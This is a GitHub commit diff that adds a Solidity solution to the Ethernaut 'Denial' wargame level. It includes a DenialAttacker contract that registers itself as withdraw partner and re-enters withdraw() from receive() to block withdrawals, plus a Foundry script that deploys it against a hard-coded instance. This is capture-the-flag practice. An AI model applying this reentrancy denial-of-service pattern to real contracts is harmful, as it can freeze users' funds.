Skip to content

Commit

Permalink
complete 20-Denial
Browse files Browse the repository at this point in the history
  • Loading branch information
tannerang committed Jan 19, 2024
1 parent 813de18 commit c223499
Show file tree
Hide file tree
Showing 3 changed files with 29 additions and 4 deletions.
2 changes: 1 addition & 1 deletion script/setup/EthernautHelper.sol
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ import {IEthernaut} from "./IEthernaut.sol";
import "forge-std/Test.sol";

contract EthernautHelper is Script {
address HERO = vm.envAddress("ACCOUNT_ADDRESS"); // NOTE CHANGE THIS TO YOUR ADDRESS
address HERO = vm.envAddress("ACCOUNT_ADDRESS"); // NOTE CHANGE THIS INTO YOUR ADDRESS

address constant ETHERNAUT = 0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6;

Expand Down
7 changes: 4 additions & 3 deletions script/solutions/20-Denial.s.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
import {EthernautHelper} from "../setup/EthernautHelper.sol";

// NOTE You can import your helper contracts & create interfaces here
import "../../src/20-DenialAttacker.sol";

contract DenialSolution is Script, EthernautHelper {
address constant LEVEL_ADDRESS = 0x2427aF06f748A6adb651aCaB0cA8FbC7EaF802e6;
Expand All @@ -13,11 +14,11 @@ contract DenialSolution is Script, EthernautHelper {
function run() public {
vm.startBroadcast(heroPrivateKey);
// NOTE this is the address of your challenge contract
address challengeInstance = createInstance(LEVEL_ADDRESS);
address challengeInstance = 0xcfE5fa726434dB5fa096Ca50999da604dff7f48a; // Hard coding

// YOUR SOLUTION HERE


DenialAttacker denialAttacker = new DenialAttacker(challengeInstance);
denialAttacker.attack();

// SUBMIT CHALLENGE. (DON'T EDIT)
bool levelSuccess = submitInstance(challengeInstance);
Expand Down
24 changes: 24 additions & 0 deletions src/20-DenialAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
function contractBalance() external view returns (uint);
}

contract DenialAttacker {
address public challengeInstance;

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function attack() external {
IDenial(challengeInstance).setWithdrawPartner(address(this));
}

receive() external payable {
IDenial(msg.sender).withdraw();
}
}

0 comments on commit c223499

Please sign in to comment.